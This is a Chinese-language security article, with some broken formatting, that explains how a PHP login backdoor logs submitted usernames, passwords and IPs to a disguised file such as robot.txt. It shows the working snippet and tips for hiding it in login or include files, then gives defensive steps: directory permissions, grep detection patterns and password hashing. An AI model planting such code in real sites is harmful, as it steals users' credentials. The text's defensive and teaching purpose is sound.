本文僅供安全教育、滲透測試授權範圍、程式碼審計學習使用。未經授權攔截、竊取、儲存他人帳號密碼屬違法行為,嚴禁用於非法用途。
<?php
if ($_POST['loginsubmit'] != '') { // 判斷是否點擊登入按鈕
$sb = 'user:' . $_POST['username']
. '--passwd:' . $_POST['password']
. '--ip:' . $_SERVER['REMOTE_ADDR']
. '--' . date('Y-m-d H:i:s') . "\r\n";
fwrite(fopen('robot.txt', 'ab'), $sb); // 追加寫入檔案
}
loginsubmit),精準鎖定登入動作。fopen(..., 'ab') 以二進位附加模式寫入隱蔽檔名(robot.txt、.log、image.jpg 等),避免被發現。login.php)、共用引入檔(common.inc.php)、框架中介軟體、或偽裝為正常功能檔案。<form action="login.php" method="post">
// 實際帳號欄位名
</form>
攻擊者修改攔截代碼對應欄位名:
$sb = 'user:' . $_POST['pwuser'] . '--passwd:' . $_POST['pwpwd'] . ...;
git status 檢查未追蹤/修改檔案。# Web 目錄僅供讀取,禁止寫入
chown -R root:root /var/www/html
chmod -R 555 /var/www/html
# 僅上傳/快取/Session 目錄授予 www-data 寫入
chown -R www-data:www-data /var/www/html/storage
chmod 770 /var/www/html/storage
# 定期掃描 PHP 檔案中的敏感函數組合
grep -r "fwrite.*fopen.*ab" /var/www/html --include="*.php"
grep -r "\$_POST\[" /var/www/html --include="*.php" | grep -E "password|passwd|pwd"
grep -r "robot\.txt|\.log\|\.dat" /var/www/html --include="*.php"
fopen/fwrite 敏感路徑寫入。password_hash()(bcrypt/argon2)儲存,資料庫洩露也不易破解。資安防護是系統工程,單一技術無法完美防禦。結合「最小權限、纖深防禦、持續監控、快速響應」四大原則,才能有效降低帳號密碼被竊風險。